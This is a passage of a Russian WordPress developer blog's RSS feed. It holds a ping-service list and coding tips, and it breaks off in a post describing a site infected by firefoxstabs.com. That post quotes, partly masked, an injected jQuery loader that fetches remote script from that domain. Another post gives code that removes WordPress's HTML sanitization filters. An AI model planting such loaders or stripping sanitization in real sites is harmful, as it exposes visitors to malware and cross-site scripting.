<noindex><a rel="nofollow" href="http://www.blogpeople.net/servlet/weblogUpdates">http://www.blogpeople.net/servlet/weblogUpdates</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.reader.livedoor.com/ping">http://rpc.reader.livedoor.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.namaan.net/rpc">http://ping.namaan.net/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.kutsulog.net">http://ping.kutsulog.net</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.fc2.com">http://ping.fc2.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.blogoon.net">http://ping.blogoon.net</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.pingomatic.com">http://rpc.pingomatic.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.weblogs.se/">http://ping.weblogs.se/</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogmatcher.com/u.php">http://blogmatcher.com/u.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://coreblog.org/ping/">http://coreblog.org/ping/</a></noindex><br />
<noindex><a rel="nofollow" href="http://bulkfeeds.net/rpc">http://bulkfeeds.net/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://trackback.bakeinu.jp/bakeping.php">http://trackback.bakeinu.jp/bakeping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.myblog.jp">http://ping.myblog.jp</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.bitacoras.com">http://ping.bitacoras.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.bloggers.jp/rpc/">http://ping.bloggers.jp/rpc/</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.blogmura.jp/rpc/">http://ping.blogmura.jp/rpc/</a></noindex><br />
<noindex><a rel="nofollow" href="http://xmlrpc.blogg.de">http://xmlrpc.blogg.de</a></noindex><br />
<noindex><a rel="nofollow" href="http://1470.net/api/ping">http://1470.net/api/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://bblog.com/ping.php">http://bblog.com/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://blog.goo.ne.jp/XMLRPC">http://blog.goo.ne.jp/XMLRPC</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.feedster.com/ping">http://api.feedster.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.my.yahoo.com/RPC2">http://api.my.yahoo.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.blo.gs/">http://ping.blo.gs/</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.blogrolling.com/pinger/">http://rpc.blogrolling.com/pinger/</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.newsgator.com/">http://rpc.newsgator.com/</a></noindex><br />
<noindex><a rel="nofollow" href="http://topicexchange.com/RPC2">http://topicexchange.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://www.blogdigger.com/RPC2">http://www.blogdigger.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://www.blogstreet.com/xrbin/xmlrpc.cgi">http://www.blogstreet.com/xrbin/xmlrpc.cgi</a></noindex><br />
<noindex><a rel="nofollow" href="http://www.newsisfree.com/RPCCloud">http://www.newsisfree.com/RPCCloud</a></noindex><br />
<noindex><a rel="nofollow" href="http://a2b.cc/setloc/bp.a2b">http://a2b.cc/setloc/bp.a2b</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.moreover.com/ping">http://api.moreover.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.my.yahoo.com/rss/ping">http://api.my.yahoo.com/rss/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://bitacoles.net/ping.php">http://bitacoles.net/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://bitacoras.net/ping">http://bitacoras.net/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogdb.jp/xmlrpc">http://blogdb.jp/xmlrpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogdigger.com/RPC2">http://blogdigger.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogoole.com/ping">http://blogoole.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogoon.net/ping">http://blogoon.net/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogshares.com/rpc.php">http://blogshares.com/rpc.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsnow.com/ping">http://blogsnow.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogstreet.com/xrbin/xmlrpc.cgi">http://blogstreet.com/xrbin/xmlrpc.cgi</a></noindex><br />
<noindex><a rel="nofollow" href="http://coreblog.org/ping">http://coreblog.org/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://lasermemory.com/lsrpc">http://lasermemory.com/lsrpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://mod-pubsub.org/kn_apps/blogchatter/ping.php">http://mod-pubsub.org/kn_apps/blogchatter/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://newsisfree.com/xmlrpctest.php">http://newsisfree.com/xmlrpctest.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.amagle.com">http://ping.amagle.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.blo.gs">http://ping.blo.gs</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.bloggers.jp/rpc">http://ping.bloggers.jp/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.blogmura.jp/rpc">http://ping.blogmura.jp/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.cocolog-nifty.com/xmlrpc">http://ping.cocolog-nifty.com/xmlrpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.exblog.jp/xmlrpc">http://ping.exblog.jp/xmlrpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.rootblog.com/rpc.php">http://ping.rootblog.com/rpc.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.weblogs.se">http://ping.weblogs.se</a></noindex><br />
<noindex><a rel="nofollow" href="http://pingoat.com/goat/RPC2">http://pingoat.com/goat/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rcs.datashed.net/RPC2">http://rcs.datashed.net/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.blogbuzzmachine.com/RPC2">http://rpc.blogbuzzmachine.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.blogrolling.com/pinger">http://rpc.blogrolling.com/pinger</a></noindex><br />
<noindex><a rel="nofollow" href="http://snipsnap.org/RPC2">http://snipsnap.org/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://weblogues.com/RPC">http://weblogues.com/RPC</a></noindex><br />
<noindex><a rel="nofollow" href="http://xping.pubsub.com/ping">http://xping.pubsub.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogbot.dk/io/xml-rpc.php">http://blogbot.dk/io/xml-rpc.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://catapings.com/ping.php">http://catapings.com/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://effbot.org/rpc/ping.cgi">http://effbot.org/rpc/ping.cgi</a></noindex><br />
<noindex><a rel="nofollow" href="http://thingamablog.sourceforge.net/ping.php">http://thingamablog.sourceforge.net/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.com/pingRPC2">http://blogsearch.google.com/pingRPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.newsgator.com">http://rpc.newsgator.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://newsisfree.com/RPCCloud">http://newsisfree.com/RPCCloud</a></noindex><br />
<noindex><a rel="nofollow" href="http://mod-pubsub.org/ping.php">http://mod-pubsub.org/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://pingqueue.com/rpc">http://pingqueue.com/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.britblog.com">http://rpc.britblog.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://services.newsgator.com/ngws/xmlrpcping.aspx">http://services.newsgator.com/ngws/xmlrpcping.aspx</a></noindex><br />
<noindex><a rel="nofollow" href="http://holycowdude.com/rpc/ping">http://holycowdude.com/rpc/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://wasalive.com/ping">http://wasalive.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.com/pingRPC2nd">http://blogsearch.google.com/pingRPC2nd</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.icerocket.com:10080">http://rpc.icerocket.com:10080</a></noindex><br />
<noindex><a rel="nofollow" href="http://pingoat.com/goat/rpc2">http://pingoat.com/goat/rpc2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rcs.datashed.net/rpc2">http://rcs.datashed.net/rpc2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.blogbuzzmachine.com/rpc2">http://rpc.blogbuzzmachine.com/rpc2</a></noindex><br />
<noindex><a rel="nofollow" href="http://newsisfree.com/rpccloud">http://newsisfree.com/rpccloud</a></noindex><br />
<noindex><a rel="nofollow" href="http://queerfilter.com/ping">http://queerfilter.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://weblogues.com/rpc">http://weblogues.com/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.mw.net.tw/RPC2">http://api.mw.net.tw/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.my.yahoo.com/ping">http://api.my.yahoo.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsdominicanos.com/ping">http://blogsdominicanos.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.co.uk/pingRPC2">http://blogsearch.google.co.uk/pingRPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.us/pingRPC2">http://blogsearch.google.us/pingRPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://feedsky.com/api/RPC2">http://feedsky.com/api/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://fgiasson.com/pings/ping.php">http://fgiasson.com/pings/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://focuslook.com/ping.php">http://focuslook.com/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://holycowdude.com/rpc/ping">http://holycowdude.com/rpc/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://imblogs.net/ping">http://imblogs.net/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.blogg.de">http://ping.blogg.de</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.fakapster.com/rpc">http://ping.fakapster.com/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.wordblog.de">http://ping.wordblog.de</a></noindex><br />
<noindex><a rel="nofollow" href="http://pinger.onejavastreet.com">http://pinger.onejavastreet.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.tailrank.com/feedburner/RPC2">http://rpc.tailrank.com/feedburner/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.wpkeys.com">http://rpc.wpkeys.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://rssfeeds.com/suggest_wizzard.php">http://rssfeeds.com/suggest_wizzard.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://rssfwd.com/xmlrpc/api">http://rssfwd.com/xmlrpc/api</a></noindex><br />
<noindex><a rel="nofollow" href="http://signup.alerts.msn.com/alerts-PREP/submitPingExtended.doz">http://signup.alerts.msn.com/alerts-PREP/submitPingExtended.doz</a></noindex><br />
<noindex><a rel="nofollow" href="http://weblogalot.com/ping">http://weblogalot.com/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://xianguo.com/xmlrpc/ping.php">http://xianguo.com/xmlrpc/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://zhuaxia.com/rpc/server.php">http://zhuaxia.com/rpc/server.php</a></noindex><br />
<noindex><a rel="nofollow"  href="http://focuslook.com/ping">http://focuslook.com/ping</a></noindex> </p>
<p>Каждый раз когда добавляется новая публикация WordPress оповещает поисковики о новом на вашем сайте. Остается  ждать в гости  поисковых ботов ))/</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/12/spisok-ping-servisov/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress term_description используем html</title>
		<link>http://saintist.ru/2011/05/10/wordpress-term_description-ispolzuem-html/</link>
		<comments>http://saintist.ru/2011/05/10/wordpress-term_description-ispolzuem-html/#comments</comments>
		<pubDate>Tue, 10 May 2011 11:17:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1427</guid>
		<description><![CDATA[По умолчанию в WordPress в описание категорий и остальных такосномий невозможно использовать html теги, они попросту убираются фильтрами. Для того чтобы была возможность использовать html в term_description а также в кастом таксономиях убираем фильтры вот этим кодом помещенным в functions.php вашeй темы. /*используем html в описании категорий*/ $filters = array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description'); foreach ( [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/Practice-HTML-to-WordPress-Conversion-on-these-10-Free-HTML-Templates1.jpg" alt="" title="" width="200" height="200" class="aligncenter size-full wp-image-1428" /></p>
<p>По умолчанию в WordPress  в описание категорий и  остальных такосномий невозможно использовать html  теги, они попросту  убираются фильтрами. Для  того чтобы была возможность использовать html в term_description  а также в кастом таксономиях  убираем  фильтры вот этим кодом  помещенным в functions.php вашeй темы.<br />
<span id="more-1427"></span></p>
<pre>
/*используем html  в описании  категорий*/
$filters = array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description');
foreach ( $filters as $filter ) {
    remove_filter($filter, 'wp_filter_kses');
}

foreach ( array( 'term_description' ) as $filter ) {
    remove_filter( $filter, 'wp_kses_data' );
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/10/wordpress-term_description-ispolzuem-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress  404 страница при открытии ссылок категорий</title>
		<link>http://saintist.ru/2011/05/08/wordpress-404-stranica-pri-otkrytii-ssylok-kategorij/</link>
		<comments>http://saintist.ru/2011/05/08/wordpress-404-stranica-pri-otkrytii-ssylok-kategorij/#comments</comments>
		<pubDate>Sun, 08 May 2011 19:33:59 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1420</guid>
		<description><![CDATA[В очередном проекте столкнулся с замечательным багом в вордпресс 3.1.2 Все ссылки на категрии ведут на 404 страницу. Первоначально грешил на кастомные типы данных и кастомную таксономию которую использовал. Но как оказалось дело не в них. Определил о проблема всегда появляется там где используется ЧПУ структура ссылок. Поискав решение в Интернете убедился что проблема есть [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/category_wp_bugs1.png" alt="" title="wordpress category bug" width="200" height="200" class="aligncenter size-full wp-image-1421" /><br />
В очередном проекте столкнулся с  замечательным багом в вордпресс 3.1.2  Все ссылки на  категрии ведут на  404  страницу.</p>
<p>Первоначально грешил на   кастомные типы данных  и кастомную таксономию которую использовал. Но как оказалось дело не в них.<span id="more-1420"></span></p>
<p>Определил о  проблема всегда  появляется там где  используется ЧПУ  структура  ссылок.</p>
<p>Поискав решение в Интернете  убедился что проблема есть и не только у меня.</p>
<p>При использовании структуры ссылок по  умолчанию проблема исчезала но  меня этот подход не устраивал. </p>
<p>Нашел  решение в виде плагина убирающего  этот глюк  <a target="blank" href='http://saintist.ru/wp-content/uploads/2011/05/wcs-custom-permalinks-hotfix.1.1.zip'>wcs-custom-permalinks-hotfix.1.1</a></p>
<p>единственный  минус  ссылки то остаются ЧПУ но  открывает страницы категорий по ссылке  по умолчанию  структура  когда, через  301  редирект</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/08/wordpress-404-stranica-pri-otkrytii-ssylok-kategorij/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wp_nav_menu  количество  постов  в категориях  меню</title>
		<link>http://saintist.ru/2011/05/04/wp_nav_menu-kolichestvo-postov-v-kategoriyax-menyu/</link>
		<comments>http://saintist.ru/2011/05/04/wp_nav_menu-kolichestvo-postov-v-kategoriyax-menyu/#comments</comments>
		<pubDate>Wed, 04 May 2011 17:04:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1414</guid>
		<description><![CDATA[Использование wp_nav_menu очень облегчает создание меню любой сложности с возможностью редактирование их структуры через админ-страницу. Но у таких меню есть небольшой недостаток, если добавлять в динамическое меню ссылки на категории сайта то в меню не отображается количество постов в категории. Вывод количества постов у категорий в wp_naw_menu? как сделать? Все довольно просто, при вставке в [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/05/cat_without_num1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/05/cat_without_num1.jpg" alt="" title="cat_without_num[1]" width="190" height="189" class="aligncenter size-full wp-image-1415" /></a><br />
Использование wp_nav_menu  очень облегчает  создание  меню любой сложности с возможностью  редактирование их  структуры через  админ-страницу. Но у таких  меню есть небольшой  недостаток, если  добавлять в динамическое меню  ссылки на  категории сайта то  в меню не отображается количество  постов в категории.</p>
<p>Вывод  количества постов у категорий в wp_naw_menu? как сделать?<br />
<span id="more-1414"></span></p>
<p>Все довольно  просто, при  вставке в шаблоны  динамических  меню необходимо  в качестве аргумента  walker  указать класс который будет считать  у  пункта меню с типом category   количество постов.</p>
<pre>

wp_nav_menu( array(
'theme_location'=>'category',
'walker'=> new category_count_Walker_Nav_Menu()
) );
</pre>
<p>сам класс</p>
<pre>
	class category_count_Walker_Nav_Menu extends Walker_Nav_Menu  {

	    function start_el(&#038;$output, $item, $depth, $args) {

		global $wp_query;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$class_names = $value = '';

		$classes = empty( $item->classes ) ? array() : (array) $item->classes;

		$classes[] = 'menu-item-' . $item->ID;

		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );

		$class_names = ' class="' . esc_attr( $class_names ) . '"';

		$id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args );

		$id = strlen( $id ) ? ' id="' . esc_attr( $id ) . '"' : '';

		$output .= $indent . '
<li' . $id . $value . $class_names .'>';

		$attributes  = ! empty( $item->attr_title ) ? ' title="'  . esc_attr( $item->attr_title ) .'"' : '';

		$attributes .= ! empty( $item->target )     ? ' target="' . esc_attr( $item->target     ) .'"' : '';

		$attributes .= ! empty( $item->xfn )        ? ' rel="'    . esc_attr( $item->xfn        ) .'"' : '';

		$attributes .= ! empty( $item->url )        ? ' href="'   . esc_attr( $item->url        ) .'"' : '';

		$item_output = $args->before;

		$item_output .= '<a'. $attributes .'>';

		$countPostsCat='';
		if($item->object == 'category'){
			/*$cat = get_the_category($item->object_id); */

            $cats = get_categories(array('include'=>$item->object_id));

        	if($cats[0]->count>0)
        	{
        		$countPostsCat=' ('.$cats[0]->count.')';
        	}

		}

		$item_output .= '<span>'.$args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after.$countPostsCat.'</span>';

		$item_output .= '</a>';

		$item_output .= $args->after;

		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );

	    }

	}
</pre>
<p>класс необходимо разместить в functions.php  темы </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/04/wp_nav_menu-kolichestvo-postov-v-kategoriyax-menyu/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Как русифицировать WordPress</title>
		<link>http://saintist.ru/2011/05/01/kak-rusificirovat-wordpress/</link>
		<comments>http://saintist.ru/2011/05/01/kak-rusificirovat-wordpress/#comments</comments>
		<pubDate>Sun, 01 May 2011 15:11:25 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1401</guid>
		<description><![CDATA[Обращаются часто с вопросами о русификации вордпресс, не самых тем{чем я также занимаюсь, кому интересно подобное обращайтесь} а именно движка, уже установленного и настроенного, т.е. админки WordPress. Делюсь методом как сделать это без заливки на хостинг вручную всевозможных папок с русскими файлами и т.п. 1. Открываем wp-config.php в корне сайта добавляем строчку define('WPLANG', 'ru_RU'); сохраняем [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/588-7d76b2c11-259x300.jpg" alt="" title="588-7d76b2c1[1]" width="259" height="300" class="aligncenter size-medium wp-image-1403" /><br />
Обращаются часто с  вопросами о русификации вордпресс, не самых тем{чем я также занимаюсь, кому  интересно подобное обращайтесь}  а именно движка, уже установленного и настроенного, т.е.  админки WordPress. </p>
<p>Делюсь методом как сделать это без  заливки  на  хостинг  вручную всевозможных  папок с русскими файлами и т.п.<br />
<span id="more-1401"></span></p>
<p>1. Открываем wp-config.php  в корне сайта<br />
добавляем строчку</p>
<pre>define('WPLANG', 'ru_RU');</pre>
<p>сохраняем</p>
<p>2. Заходим в админку, в раздел  обновления, жмем <strong>Re-install Automatically</strong><br />
<img src="http://saintist.ru/wp-content/uploads/2011/05/wp-russ-cirilic-300x162.png" alt="" title="wp-russ-cirilic" width="300" height="162" class="aligncenter size-medium wp-image-1402" /></p>
<p>после обновления админка меняет язык на  русский</p>
<p>ps:  вообще не рекомендую использовать сторонние  сборки WordPress, берите  то что на сайте разработчиков, как правило  самопалы довольно кривые</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/01/kak-rusificirovat-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Печать картинки на странице через js</title>
		<link>http://saintist.ru/2011/04/30/pechat-kartinki-na-stranice-cherez-js/</link>
		<comments>http://saintist.ru/2011/04/30/pechat-kartinki-na-stranice-cherez-js/#comments</comments>
		<pubDate>Sat, 30 Apr 2011 19:28:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1395</guid>
		<description><![CDATA[Есть задача, распечатать заданную картинку на странице, т.е. отправить ее на принтер. Приведу кусок кода который печатает любую выбранную картинку на странице по клику на ней {картинке}. jQuery(function(){ jQuery('img').click(function(){ var wImage = jQuery(this).attr('width'); var hImage = jQuery(this).attr('height'); var wind = open('','Печатаем картинку','width='+ wImage +',height='+ hImage + ',status=no,toolbar=no,menubar=no,location=no,scrollbar=0,resizable=yes'); wind .document.writeln(''); wind .document.close(); wind .focus(); wind .print(); [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/04/MAD-print1.jpg" alt="" title="MAD-print[1]" width="480" height="480" class="aligncenter size-full wp-image-1396" /></p>
<p>Есть задача, распечатать  заданную картинку на странице, т.е. отправить ее  на принтер.</p>
<p>Приведу кусок кода который печатает любую   выбранную картинку на  странице по клику на ней {картинке}.<br />
<span id="more-1395"></span></p>
<pre>
jQuery(function(){
jQuery('img').click(function(){
var wImage = jQuery(this).attr('width');
var hImage = jQuery(this).attr('height');

var wind = open('','Печатаем картинку','width='+ wImage +',height='+ hImage  + ',status=no,toolbar=no,menubar=no,location=no,scrollbar=0,resizable=yes');
wind .document.writeln('<html><head></head><body><img scr="'+jQuery(this).attr('src')+'"></body></html>');
wind .document.close();
wind .focus();
wind .print();
wind .close();

});
});
</pre>
<p>т.е. по клику откроется  окошко в  нем будет картинка, отправляем ее на печать и закрываем.</p>
<p>ps: желательно присутствие у картинки атрибутов ширина и высота.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/30/pechat-kartinki-na-stranice-cherez-js/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>url  в тексте заменяем ссылками</title>
		<link>http://saintist.ru/2011/04/30/url-v-tekste-zamenyaem-ssylkami/</link>
		<comments>http://saintist.ru/2011/04/30/url-v-tekste-zamenyaem-ssylkami/#comments</comments>
		<pubDate>Sat, 30 Apr 2011 13:20:03 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1393</guid>
		<description><![CDATA[Хорошая регулярка для замены url встречающихся в тексте на ссылки $text = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.]*(\?\S+)?)?)?)@', '$1', $text);]]></description>
			<content:encoded><![CDATA[<p>Хорошая регулярка для  замены  url  встречающихся в тексте на   ссылки</p>
<pre>$text = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.]*(\?\S+)?)?)?)@', '<a href="$1">$1</a>', $text);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/30/url-v-tekste-zamenyaem-ssylkami/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Получить полный код ссылки html</title>
		<link>http://saintist.ru/2011/04/23/kod-ssylki-html/</link>
		<comments>http://saintist.ru/2011/04/23/kod-ssylki-html/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 10:23:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1386</guid>
		<description><![CDATA[Напоминалка регулярного выражения для извлечения кода ссылок из html $regexp = "]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)"; preg_match_all("/$regexp/siU", $html, $matches,PREG_SET_ORDER); в $matches получаем Array ( [0] => Array ( [0] => полный html код ссылки [1] => " [2] => адрес ссылки [3] => текст ссылки ) )]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/04/hyperlink_385x2611.jpg" alt="" title="взять все ссылки из  html" width="385" height="261" class="aligncenter size-full wp-image-1387" /><br />
Напоминалка регулярного выражения для извлечения кода ссылок из  html<br />
<span id="more-1386"></span></p>
<pre>
$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";

preg_match_all("/$regexp/siU", $html, $matches,PREG_SET_ORDER);
</div>

в $matches получаем 
<pre>
Array
(
    [0] => Array
        (
            [0] => полный html код ссылки
            [1] => "
            [2] => адрес ссылки
            [3] => текст ссылки
        )

)
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/23/kod-ssylki-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>firefoxstabs.com  заражает сайты</title>
		<link>http://saintist.ru/2011/04/21/firefoxstabs-com-zarazhaet-sajty/</link>
		<comments>http://saintist.ru/2011/04/21/firefoxstabs-com-zarazhaet-sajty/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 11:56:28 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1379</guid>
		<description><![CDATA[Обратился ко мне сегодня знакомый, Денис Каплунов, делал ему сайт, сказал чтоб я заглянул посмотрел что там творится на страницах в нескольких местай выводило код (не привожу полностью ) &#160; document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript ( **** firefoxstabs.com ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/04/bugs21-300x300.gif" alt="" title="firefoxstabs.com" width="300" height="300" class="aligncenter size-medium wp-image-1381" /></p>
<p>Обратился ко мне сегодня знакомый, Денис Каплунов, делал  ему сайт, сказал  чтоб я заглянул посмотрел что там творится</p>
<p>на  страницах в  нескольких местай выводило  код (не привожу полностью )</p>
<p>&nbsp;</p>
<p><strong>document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript  ( **** firefoxstabs.com ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = 2;});}});});</strong></p>
<p>&nbsp;</p>
<p>Анализ показал  что<span id="more-1379"></span> в теме (сайт собран на  WordPress) заражены  header.php  и footer.php ? в конец файлов  был  дописан  указанный выше код.</p>
<p>зачистка ничего не дала</p>
<p>в подвале все  равно продолжал выводиться обозначенный  мусор.</p>
<p>после небольшого поиска нашел  еще  один  сегмент  заразы в js файле лежащем в теме,<br />
сперва подумал что  вредоносный код   идет в файлах темы  строки с подключением сторонних  файлов и  заражает эти файлы (php, js) также , но как оказалось все  хуже.</p>
<p>После зачистки  js  файла код не пропал.</p>
<p>Оказалось что все  js загружаемые   на страницах  сайта также содержат  строку <strong>document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript  ( **** <strong>firefoxstabs.com</strong> ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = 2;});}});});</strong></p>
<p>все  js  плагинов и   подгружаемые  из  ядра  WordPress</p>
<p>т.е. получается   зараза  анализирует страницу  сайта извне и по  указанный путям  для js пытается внедриться</p>
